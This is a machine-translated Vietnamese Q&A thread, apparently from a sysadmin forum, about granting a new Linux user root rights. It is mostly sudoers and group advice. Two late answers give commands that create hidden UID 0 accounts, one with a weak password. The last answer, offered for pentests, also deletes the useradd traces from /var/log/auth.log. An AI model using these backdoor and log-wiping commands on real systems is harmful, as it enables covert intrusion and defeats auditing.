thêm người dùng mới với quyền truy cập root trong Linux


31

Tôi muốn thêm người dùng mới và có / cấp cho người dùng mới đó để có tất cả quyền truy cập root, làm thế nào tôi có thể làm điều đó?

Tôi đã làm sudo adduser --system testusernhưng điều này không làm việc như tôi mong đợi.

Cảm ơn vì sự giúp đỡ.

Câu trả lời:


62

Thực tế có ba cách bạn có thể làm điều này: cách đúng, cách sai và cách xấu.

Đầu tiên, tạo một tài khoản người dùng bình thường .

adduser username

Sau đó chọn một trong các cách sau:


Đúng cách

Tạo một sudomục cho wheelnhóm /etc/sudoersnhư thế này:

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

Hoặc cho các phiên bản "hiện đại":

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

Sau đó thêm người dùng vào wheelnhóm. Thêm và xóa người dùng bằng quyền riêng tư quản trị giờ trở thành chức năng ghi nhớ để thêm họ vào bánh xe, thay vì tạo một mục trong sudo. Điều tuyệt vời khi sử dụng bánh xe là bạn có thể mở rộng cơ chế này thành các chương trình xác thực khác hỗ trợ các nhóm, ví dụ như winbind / Active Directory và gặt hái những lợi ích trong quy trình. Bạn sẽ thực hiện điều này bằng cách ánh xạ bánh xe tới một nhóm trong lược đồ xác thực có đặc quyền quản trị viên.

Lưu ý rằng một số phân phối sử dụng các tài khoản quản trị khác nhau. Bánh xe là một phương pháp "truyền thống" này, nhưng bạn có thể gặp phải admin, admvà tài khoản nhóm khác phục vụ cùng một mục đích.

Theo dõi Chỉnh sửa:

Tôi phải đưa ra một điểm cho Bart Silverstrim vì đã chỉ ra rằng Ubuntu sử dụng adminnhư một nhóm cho mục đích này. Anh ấy đã nhận được điều này trước tiên, mặc dù lúc đó tôi không nhận thấy thẻ Ubuntu. Một lần nữa, tất cả phụ thuộc vào phân phối của bạn đang sử dụng.


Con đường xấu xí

Tạo một mục sudo cho tài khoản người dùng được đề cập và sau đó cung cấp quyền truy cập hoàn tất. Một lần nữa, bạn tạo mục nhập /etc/sudoersnhư thế này:

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

Đã thêm: ## Đối với phiên bản Ubuntu: tên người dùng ALL = (ALL: ALL)

Điều này thật tuyệt nếu bạn chỉ có một (hoặc hai) tài khoản bình thường. Thật là xấu khi bạn có một trăm tài khoản trên nhiều trang web (địa vật lý) và phải liên tục duy trì tệp sudo.


Con đường sai

Bạn có thể chỉnh sửa /etc/passwdtệp và thay đổi ID tài khoản người dùng từ bất kỳ số nào, thành 0. Đúng vậy, không .

username:x:0:502::/home/username:/bin/bash

Xem mục thứ ba là số không? Khi bạn đăng nhập vào tài khoản đó, bạn, cho tất cả các mục đích hiệu quả , root. Tôi không đề nghị này. Nếu bạn không nhớ "bạn" là ai, bạn có thể tạo tất cả các loại tàn phá khi bạn bắt đầu tạo và chạm vào các tệp như root. Bạn cũng có thể thêm tên người dùng của bạn vào rootnhóm. Điều này có tác dụng tương tự đối với truy cập tệp nhưng nó tạo ra các vấn đề khác; các chương trình sẽ thông báo bạn không phải là người dùng root và từ chối chạy, nhưng bạn sẽ có quyền truy cập vào các tệp thuộc nhóm root .

Nếu bạn đã làm điều này, bạn đã sử dụng vipwthay vì chỉ chỉnh sửa với vi, phải không? (hoặc bất kể trình soạn thảo văn bản yêu thích của bạn là gì) Sau tất cả, một lỗi đánh máy trong tệp này có thể khóa bạn khỏi hệ thống của bạn - và điều đó có nghĩa là một chuyến thăm vật lý đến máy tính có vấn đề với đĩa sửa chữa ...


2
Tôi thậm chí sẽ không tài liệu sai cách. Quá cấm kỵ.
elcuco

15
Tôi không đồng ý. Nếu bạn che giấu sai, nó sẽ không biến mất, nó chỉ là lễ hội - và đôi khi, kiến ​​thức rằng thứ gì đó bị cấm thu hút nhiều sự chú ý hơn mức cần thiết. Tốt hơn để hiểu tại sao nó là điều cấm kỵ. Đặc biệt là khi có những trường hợp (hiếm khi thừa nhận) mà bạn có thể cần kiến ​​thức đó. Tuy nhiên, tôi sẽ cho bạn một điểm để chỉ ra những điều thực sự tồi tệ như thế nào. :)
Avery Payne

1
"Sau tất cả, một lỗi đánh máy trong tệp này có thể khóa bạn khỏi hệ thống của bạn" - không, nó sẽ không khóa bạn sau khi bạn ngắt kết nối tất cả các phiên Putty (giả sử bạn sử dụng Putty). Miễn là bạn không ngắt kết nối, nhưng chỉ cần mở một phiên khác để kiểm tra cài đặt của bạn, bạn vẫn ổn về vấn đề này.
quamis

1
@quamis - đúng. Mặc dù tôi đã cố gắng chỉ ra sự nguy hiểm khi cho rằng an toàn khi "bắn và quên". :) Một điểm cho bạn cũng vậy, vì đã chỉ ra thực hành tốt - luôn luôn kiểm tra cài đặt sau đó .
Avery Payne

1
Tôi chỉ muốn lưu ý rằng nhóm 'bánh xe' truyền thống (với độ cao nhị phân, mức độ cờ) trong Unix không còn là một thuật ngữ phổ biến cho nhóm người dùng có thể nâng cao bằng sudo. Theo kinh nghiệm của tôi, tên phổ biến nhất của nhóm người có thể sudo là ngày nay thường là 'sudoers' và đã được thiết lập trên hầu hết các hệ thống.
Bojan Markovic

3

Tôi đã sử dụng điều này trong nhiều năm và đó là cách được đề xuất số 1 để thêm một sudoer trên AskUbfox :

adduser existinguser sudo

Đơn giản hơn nhiều so với chỉnh sửa tập tin và dễ dàng ném vào tập lệnh shell để cài đặt không giám sát.

Nếu bạn muốn tạo người dùng và cấp đặc quyền sudo, bạn có thể làm điều đó trong một dòng như thế này:

useradd newuser -m -G sudo
passwd newuser

-mđã tạo một thư mục chính và -Gchỉ định một nhóm bổ sung.


2

và với điều này là 100%:

adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456

và kết nối với máy chủ putty và ip


1

Vâng, bạn có thể tạo người dùng với adduser, xem man adduser.
Sau khi bạn có thể thêm nó vào nhóm đặc quyền như root hoặc wheel. Nhưng tôi nghĩ rằng cách được khuyến nghị nhất để có một số quyền là sử dụng sudo.


1

bạn có thể thực hiện:

#useradd -m -g root alex

nó tạo ra một người dùng Alex với một thư mục chính thuộc nhóm gốc


1

Ngoài câu trả lời của Avery Payne: trong Ubuntu, bạn có thể muốn nó như vậy:

%sudo   ALL=(ALL:ALL) ALL

Và không như vậy:

%sudo    ALL=(ALL) ALL

0

Cách "xấu xí và lộn xộn" là chỉnh sửa / etc / passwd để có UID = 0 AND GID = 0 cho người dùng mới. Nhưng điều này đặt ra rất nhiều rủi ro bảo mật . Bạn có biết rằng nếu anh ấy cũng root, anh ấy có thể vô hiệu hóa tài khoản của bạn, thay đổi mật khẩu của bạn, biến bạn thành "người dùng chuẩn" ... đúng không? Vậy tại sao không chỉ cho anh ta tài khoản của riêng bạn?

Bạn có thể nghiên cứu cách suid ( http://en.wikipedia.org/wiki/setuid ) hoạt động nếu bạn muốn cấp cho anh ta quyền truy cập root chỉ với một vài lệnh.


-1

Đây là một lót:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

Tốt,


1
Thêm người dùng bổ sung với uid 0 không phải là ý hay ... hãy xem câu trả lời có nhiều phiếu nhất để biết chi tiết.
Gerald Schneider

@GeraldSchneider Tôi chưa bao giờ nói rằng đó là một ý tưởng hay ... Tôi nhận thức rõ ... và thành thật mà nói nó không phải là mối quan tâm của chúng tôi. Đây là một lớp lót, sử dụng nó trong các pentest mọi lúc. Trân trọng
Boschko
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.